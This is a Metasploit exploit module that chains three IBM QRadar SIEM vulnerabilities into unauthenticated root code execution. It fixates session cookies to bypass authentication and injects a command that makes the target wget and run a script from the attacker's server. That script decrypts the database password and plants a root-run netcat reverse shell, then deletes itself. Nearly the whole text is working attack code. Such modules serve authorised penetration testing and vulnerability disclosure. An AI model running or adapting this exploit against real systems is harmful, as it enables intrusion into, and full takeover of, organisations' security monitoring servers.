IBM QRadar SIEM Unauthenticated Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'securerandom'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
include Msf::Exploit::EXE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'IBM QRadar SIEM Unauthenticated Remote Code Execution',  
'Description' => %q{  
IBM QRadar SIEM has three vulnerabilities in the Forensics web application  
that when chained together allow an attacker to achieve unauthenticated remote code execution.  
  
The first stage bypasses authentication by fixating session cookies.  
The second stage uses those authenticated sessions cookies to write a file to disk and execute  
that file as the "nobody" user.  
The third and final stage occurs when the file executed as "nobody" writes an entry into the  
database that causes QRadar to execute a shell script controlled by the attacker as root within  
the next minute.  
Details about these vulnerabilities can be found in the advisories listed in References.  
  
The Forensics web application is disabled in QRadar Community Edition, but the code still works,  
so these vulnerabilities can be exploited in all flavours of QRadar.  
This module was tested with IBM QRadar CE 7.3.0 and 7.3.1. IBM has confirmed versions up to 7.2.8  
patch 12 and 7.3.1 patch 3 are vulnerable.  
Due to payload constraints, this module only runs a generic/shell_reverse_tcp payload.  
},  
'Author' =>  
[  
'Pedro Ribeiro <[email protected]>' # Vulnerability discovery and Metasploit module  
],  
'License' => MSF_LICENSE,  
'Platform' => ['unix'],  
'Arch' => ARCH_CMD,  
'References' =>  
[  
['CVE', '2016-9722'],  
['CVE', '2018-1418'],  
['CVE', '2018-1612'],  
['URL', 'https://blogs.securiteam.com/index.php/archives/3689'],  
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/ibm-qradar-siem-forensics.txt'],  
['URL', 'http://seclists.org/fulldisclosure/2018/May/54'],  
['URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg22015797']  
],  
'Targets' =>  
[  
[ 'IBM QRadar SIEM <= 7.3.1 Patch 2 / 7.2.8 Patch 11', {} ],  
],  
'Payload' => {  
'Compat' => {  
'ConnectionType' => 'reverse',  
}  
},  
'DefaultOptions' => {  
'SSL' => true,  
# we can only run shell scripts, so set a reverse netcat payload by default  
# the payload that will be run is in the first few lines of @payload  
'PAYLOAD' => 'generic/shell_reverse_tcp',  
},  
'DisclosureDate' => 'May 28 2018',  
'DefaultTarget' => 0))  
register_options(  
[  
Opt::RPORT(443),  
OptString.new('SRVHOST', [true, 'HTTP server address', '0.0.0.0']),  
OptString.new('SRVPORT', [true, 'HTTP server port', '4448']),  
])  
end  
  
def check  
res = send_request_cgi({  
'uri' => '/ForensicsAnalysisServlet/',  
'method' => 'GET'  
})  
  
if res.nil?  
vprint_error 'Connection failed'  
return CheckCode::Unknown  
end  
  
if res.code == 403  
return CheckCode::Detected  
end  
  
CheckCode::Safe  
rescue ::Rex::ConnectionError  
vprint_error 'Connection failed'  
return CheckCode::Unknown  
end  
  
# Handle incoming requests from QRadar  
def on_request_uri(cli, request)  
print_good("#{peer} - Sending privilege escalation payload to QRadar...")  
print_good("#{peer} - Sit back and relax, Shelly will come visit soon!")  
send_response(cli, @payload)  
end  
  
  
# step 1 of the exploit, bypass authentication in the ForensicAnalysisServlet  
def set_cookies  
@sec_cookie = SecureRandom.uuid  
@csrf_cookie = SecureRandom.uuid  
  
post_data = "#{rand_text_alpha(5..12)},#{rand_text_alpha(5..12)}," +  
"#{@sec_cookie},#{@csrf_cookie}"  
  
res = send_request_cgi({  
'uri' => '/ForensicsAnalysisServlet/',  
'method' => 'POST',  
'ctype' => 'application/json',  
'cookie' => "SEC=#{@sec_cookie}; QRadarCSRF=#{@csrf_cookie};",  
'vars_get' =>  
{  
'action' => 'setSecurityTokens',  
'forensicsManagedHostIps' => "#{rand(256)}.#{rand(256)}.#{rand(256)}.#{rand(256)}"  
},  
'data' => post_data  
})  
  
if res.nil? or res.code != 200  
fail_with(Failure::Unknown, "#{peer} - Failed to set the SEC and QRadar CSRF cookies")  
end  
end  
  
def exploit  
print_status("#{peer} - Attempting to exploit #{target.name}")  
  
# run step 1  
set_cookies  
  
# let's prepare step 2 (payload) and 3 (payload exec as root)  
@payload_name = rand_text_alpha_lower(3..5)  
root_payload = rand_text_alpha_lower(3..5)  
  
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")  
srv_host = Rex::Socket.source_address(rhost)  
else  
srv_host = datastore['SRVHOST']  
end  
  
http_service = (datastore['SSL'] ? 'https://' : 'http://') + srv_host + ':' + datastore['SRVPORT'].to_s  
service_uri = http_service + '/' + @payload_name  
  
print_status("#{peer} - Starting up our web service on #{http_service} ...")  
start_service({'Uri' => {  
'Proc' => Proc.new { |cli, req|  
on_request_uri(cli, req)  
},  
'Path' => "/#{@payload_name}"  
}})  
  
@payload = %{#!/bin/bash  
  
# our payload that's going to be downloaded from our web server  
cat <<EOF > /store/configservices/staging/updates/#{root_payload}  
#!/bin/bash  
/usr/bin/nc -e /bin/sh #{datastore['LHOST']} #{datastore['LPORT']} &  
EOF  
  
### below is adapted from /opt/qradar/support/changePasswd.sh  
[ -z $NVA_CONF ] && NVA_CONF="/opt/qradar/conf/nva.conf"  
NVACONF=`grep "^NVACONF=" $NVA_CONF 2> /dev/null | cut -d= -f2`  
FRAMEWORKS_PROPERTIES_FILE="frameworks.properties"  
FORENSICS_USER_FILE="config_user.xml"  
FORENSICS_USER_FILE_CONFIG="$NVACONF/$FORENSICS_USER_FILE"  
  
# get the encrypted db password from the config  
PASSWORDENCRYPTED=`cat $FORENSICS_USER_FILE_CONFIG | grep WEBUSER_DB_PASSWORD | grep -o -P '(?<=>)([\\w\\=\\+\\/]*)(?=<)'`  
  
QVERSION=$(/opt/qradar/bin/myver | awk -F. '{print $1$2$3}')  
  
AU_CRYPT=/opt/qradar/lib/Q1/auCrypto.pm  
P_ENC=$(grep I_P_ENC ${AU_CRYPT} | cut -d= -f2-)  
P_DEC=$(grep I_P_DEC ${AU_CRYPT} | cut -d= -f2-)  
  
AESKEY=`grep 'aes.key=' $NVACONF/$FRAMEWORKS_PROPERTIES_FILE | cut -c9-`  
  
#if 7.2.8 or greater, use new method for hashing and salting passwords  
if [[ $QVERSION -gt 727 || -z "$AESKEY" ]]  
then  
PASSWORD=$(perl <(echo ${P_DEC} | base64 -d) <(echo ${PASSWORDENCRYPTED}))  
[ $? != 0 ] && echo "ERROR: Unable to decrypt $PASSWORDENCRYPTED" && exit 255  
else  
  
PASSWORD=`/opt/qradar/bin/runjava.sh -Daes.key=$AESKEY com.q1labs.frameworks.crypto.AESUtil decrypt $PASSWORDENCRYPTED`  
[ $? != 0 ] && echo "ERROR: Unable to decrypt $PASSWORDENCRYPTED" && exit 255  
fi  
  
PGPASSWORD=$PASSWORD /usr/bin/psql -h localhost -U qradar qradar -c \  
"insert into autoupdate_patch values ('#{root_payload}',#{rand(1000)+100},'minor',false,#{rand(9999)+100},0,'',1,false,'','','',false)"  
  
# kill ourselves!  
(sleep 2 && rm -- "$0") &  
}  
  
# let's do step 2 then, ask QRadar to download and execute our payload  
print_status("#{peer} - Asking QRadar to download and execute #{service_uri}")  
  
exec_cmd = "$(mkdir -p /store/configservices/staging/updates && wget --no-check-certificate -O " +  
"/store/configservices/staging/updates/#{@payload_name} #{service_uri} && " +  
"/bin/bash /store/configservices/staging/updates/#{@payload_name})"  
  
payload_step2 = "pcap[0][pcap]" +  
"=/#{rand_text_alpha_lower(2..6) + '/' + rand_text_alpha_lower(2..6)}" +  
"&pcap[1][pcap]=#{Rex::Text::uri_encode(exec_cmd, 'hex-all')}"  
  
uri_step2 = "/ForensicsAnalysisServlet/?forensicsManagedHostIps" +  
"=127.0.0.1/forensics/file.php%3f%26&action=get&slavefile=true"  
  
res = send_request_cgi({  
'uri' => uri_step2 + '&' + payload_step2,  
'method' => 'GET',  
'cookie' => "SEC=#{@sec_cookie}; QRadarCSRF=#{@csrf_cookie};",  
})  
  
# now we just sit back and wait for step 2 payload to be downloaded and executed  
# ... and then step 3 to complete. Let's give it a little more than a minute.  
Rex.sleep 80  
end  
end  
`